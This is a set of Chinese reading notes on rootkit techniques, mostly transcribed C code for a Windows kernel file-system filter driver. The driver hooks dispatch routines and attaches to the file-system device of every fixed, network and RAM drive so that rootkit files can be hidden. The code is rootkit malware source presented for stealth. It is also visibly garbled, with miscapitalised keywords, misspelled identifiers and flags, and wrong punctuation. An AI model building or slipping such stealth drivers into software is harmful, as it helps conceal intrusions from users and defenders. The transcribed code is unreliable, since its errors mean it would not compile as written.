读书笔记_Rootkit技术_文件过滤驱动程序(1)
分层驱动程序可应用于文件系统。出于潜行的需求，文件系统对于rootkit有着特殊的吸引力。许多rootkit需要在文件系统中存储文件，并且这些文件必须是隐藏的。可以使用钩子技术来隐藏文件，但这种方法容易被检测出来。另外，如果文件或目录安装在SMB共享系统上，那么钩住系统服务描述表（system service descriptor table，SSDT）并不能隐藏它们。下面来看通过分层驱动的方法来隐藏文件。
首先从驱动的入口函数DriverEntry例程来看：
NTSTATUSDriverEntry ( IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRINGRegistryPath)
{
For ( i = 0; I <=IRP_MJ_MAXIMUM_FUNCTION; i++)
{
DriverObject->MajorFunctionp[i] =OurDispatch;
}
DriverObject->FastIoDispatch=&OurFastIOHook;
在DriverEntry例程中，是MajorFunction数组指向OurDispatch调度例程，还建立了一个FastIoDispatch调度表，这里可以看到文件系统驱动程序特有的一些内容。FastIo是文件系统程序的另一种通信方法。
准备好调度表后，下面必须钩住驱动器，调用HookDriveSet函数在所有可用得驱动器盘符上安装钩子:
DWORD d_hDrives= 0;
// Initializethe drives we will hool
For(I = 0;i< 26; i++)
DriveHookDevices[i] =NULL;
DriveToHook =0;
ntStatus =GetDrivesToHook(&d_hDrives);
if(!NT_SUCCESS(ntStatus))
return ntStatus;
HookDriveSet(d_hDrives,DriverObject);
以下代码用于获取钩住的驱动程序列表：
NTSTATUSGetDrivesToHook（DWORD *d_hookDrives）
{
NTSTATUS ntstatus;
PROCESS_DEVICEMAP_INFORMATION s_devMap;
DWORD MaxDriveSet, CurDriveSet;
Int drive;
If(d_hookDrives == NULL)
Return STATUS_UNSUCCESSFUL;
注意当前进程的句柄用法：
Ntstatus = ZwQueryInformationProcess(( HANDLE) 0xffffffff,
ProcessDeviceMap,
&s_devMap,
Sizeof(s_devMap),
NULL);
If(!NT_SUCCESS(ntstatus))
Return ntstatus;
// Get available drives we can monitor.
MaxDriveSet = s_devMap.Query.DriveMap;
CurDriveSet = MaxDriveSet;
For ( drive = 0; drive < 32; ++drive)
{
If(MaxDriveSet &(1<<drive))
{
Switch(s_devMap.Query.DriveType[drive])
{
首先处理要跳过的驱动器：
// We don’t like these: remove them.
Case DRIVE_UNKNOWN: // Thedrive type cannot be determined.
Case DRIVE_NO_ROOT_DIR; //The root directory does not exit.
curDriveSet &=~(1 <<drive);
break;
// The drive can be removed from the drive
// Doesn’t make sense to put hidden files on
// a removable drive because we will not
// necessarily control the computer that the
// drive is mounted on next.
Case DRIVE_REMOVABLE:
CurDriveSet &= ~(1<< drive);
Break;
// The drive is a CD-ROM drive
Case DRIVE_CDROM;
CurDriveSet &= ~(1<< drive);
Break;
将要钩住以下驱动器：DRIVE_FIXED,DRIVE_REMOTE和DRIVE_RAMDISK.
代码继续如下：
}
}
}
*d_hookDrives = CurDriveSet;
Return ntstatus;
}
钩住驱动器集合的代码如下：
ULONG HookDriveSet（IN ULONG DriveSet， IN PDRIVER_OBJECT DriverObject）
{
PHOOK_EXTENSION hookExt;
ULONG drive, I;
ULONG bit;
// Scan the drive table,looking for hits on the DriveSet bitmask.
For( drive = 0; drive <26; ++drive_
{
Bit = 1<< drive;
// Are we supposed to hookthis drive
If (( bit & DriveSet)&&!(bit &DrivesToHook))
{
If( !HookDrive( drive,DriverObject))
{
// remove from drive setif can’t be hooked
DriveSet &= ~bit;
}
Else
{
// Hook drives in samedrive group
For( I = 0; I < 26; i++)
{
If( DriveHookDevices[i] ==DriveHookDevices[ drive])
{
DriveSet |= (1<<i);
}
}
}
}
Else if ( !(bit & DriveSet)&&(bit & DrivesToHook) )
{
// Unhook this drive and all in the group
For ( I = 0; i<26; i++)
{
If( DriveHookDevices[i] ==DriveHookDevices[ drive])
{
UnhookDrive(i);
DriveSet &= ~(1<<i);
}
}
}
}
// return set of drives currently hooked.
DrivesToHook = DriveSet;
Return DriveSet;
}
对于单个驱动器挂上你和取下钩子的代码如下：
if（DriveHookDevices[Drive]）
{
hookExt =DriveHookDevices[Drive]->DeviceExtension;
hookExt -> Hooked =FALSE;
}
}
BOOLEAN HookDrive ( IN ULONG Drive, IN PDRIVER_OBJECT DriverObject)
{
IO_STATUS_BLOCK ioStatus;
HANDLE ntFileHandle;
OBJECT_ATTRIBUTESobjectAttributes;
PDEVICE_OBJECTfileSysDevice;
PDEVICE_OBJECT hookDevice;
UNICODE_STRINGfileNameUnicodeString;
PFILE_FS_ATTRIBUTE_INFORMATIONfileFsAttributes;
ULONG fileFsAttributesSize;
WCHAR filename[] = L”\\DosDevices\\A:\\”;
NTSTATUS ntStatus;
ULONG I;
PFILE_OBJECT fileObject;
PHOOK_EXTENSIONhookExtension;
If(Drive >= 26)
Return FALSE; //Illegal drive letter
// Test whether we havehooked this drive
If ( DriveHookDevices [Drive] == NULL )
{
Filename[12] = (CHAR) ( ‘A’+ Drive); // Set up drive name
下面打开磁盘卷的根目录：
RtlInitUnicodeString(&fileNameUnicodeString, filename);
InitializeObjectAttributes(&objectAttributes,
&fileNameUnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL);
ntStatus = ZwCreateFile(&ntFileHandle,
SYNCHRONIZE | FILE_ANY_ACCESS,
&objectAttributes,
&ioStatus,
NULL,
0,
FILE_SHARE_READ |FILE_SHARE_WRITE,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_DIRECTORY_FILE,
NULL,
0);
If ( ! NT_SUCCESS ( ntStatus ))
{
若程序无法打开驱动器，则返回“false”:
Return FALSE;
}
// Use file handle to look up the fileobject.
// If this is successful,
// we must eventually decrement the fileobject
ntStatus = ObReferenceObjectByHandle (ntFileHandle,
FILE_READ_DATA,
NULL,
KernelMode,
&fileobject,
NULL);
If( !NT_SUCCESS ( ntStatus))
{
若程序无法从句柄中获得文件对象，则返回“false”：
ZwClose ( ntFileHandle );
Return FALSE;
}
// Get the device object from the Fileobject
fileSysDevice = IoGetRelatedDeviceObject (fileObject );
if(!fileSysDevice)
{
若程序无法获取设备对象，则返回“flase”：
ObDereferenceObject(fileObject);
ZwClose (ntFileHandle);
Return FALSE;
}
// Check the device list to see if we arealready
// attached to this particular device
// This can happen when more than one driveletter
// is being handled by the same network
// redirector
For (I = 0; i<26; i++)
{
If( DriveHookDevices[i] == fileSysDevice )
{
// if we are already watching it
// associate this drive letter
// with the others that are handled
// by the same network driver. This enables us to intelligentlyupdate
// the hooking menus when the user specifies that one of the groupshould not be
// watched – we mark all of the related drives as unwantched aswell.
ObDereferenceObject(fileObject);
ZwClose(ntFileHandle);
DriveHookDevice[Drive] =fileSysDevice;
Return TRUE;
}
}
// The file system’s device hasn’t been hooked already, so make ahooking device object // that will be attached to it
ntStatus = IoCreateDevice(DriverObject,
sizeof(HOOK_EXTENSION),
NULL,
fileSysDevice->DeviceType.
fileSysDevice->Characteristics,
FALSE,
&hookDevice);
If( !NT_SUCCESS(ntStatus))
{
若程序无法创建相关的设备，则返回“false”：
ObDereferenceObject(fileObject);
ZwClose(ntFileHandle);
Return FALSE;
}
// Clear he device’s init flag
// If we do not clear this flag, it is speculated no one else wouldbe able to layer on top
// of us. This may be a useful feature in the future !
hookDevice->Flags &=~DO_DEVICE_INITIALIZEING;
hookDevice->Flags|=(fileSysDevice->Flags&(DO_BUFFERED_IO | DO_DIRECT_TO));
// Set up the device extensions. The drive letter and file system objectare stored in the
// extenson
hookExtension = hookDevice->DeviceExtension;
hookExtension->LogicalDrive = ‘A’ + Drive;
hookExtension->FileSystem = fileSysDevice;
hookExtension->Hooked = TRUE;
hookExtension->Type = STANDARD;
// Finally, attach to the device. As soon as we are successfullyattached, we may start
// receiving IRPs targeted at the device we are hooked.
ntStatus = IoAttachDeviceByPointer( hookDevice, fileSysDevice);
if( !NT_SUCCESS(ntStatus))
{
ObDereferenceObject (fileObject);
ZwClose(ntFileHandle);
Return FALSE;
}
// Determine whether this is an NTFS drive
fileFsAttributesSize = sizeof(FILE_FS_ATTRIBUTE_INFORMATION) +MAXPATHLEN;
hookExtension->FsAttributes = (PFILE_FS_ATTRIBUTE_INFORMATION)
ExAllocatePool(NonPagedPool, fileFsAttributesSize);
If(hookExtension->FsAttributes && !NT_SUCCESS (
IoQueryVolumeInformation ( fileObject, FileFsAttributeInformation,fileFSAttributesSize,
hookExtension->FsAttributes,
&fileFsAttributesSize)))
{
// On failure, we just don’thave attributes for this file system.
ExFreePool (hookExtesnion->FsAttributes_;
hookExtension->FsAttributes = NULL;
}
// Close the file and update the hooked drive list by entering apointer to the hook
// device object in it.
ObDereferenceObject ( fileObject);
ZwClose(ntFileHandle);
DriveHookDevices[Drive] = hookDevice;
}
Else // This drive is already hooked
{
hookExtension =DriveHookDevices[Drive]->DeviceExtension;
hookExtension ->Hooked =TRUE;
}
Return TRUE;
}
;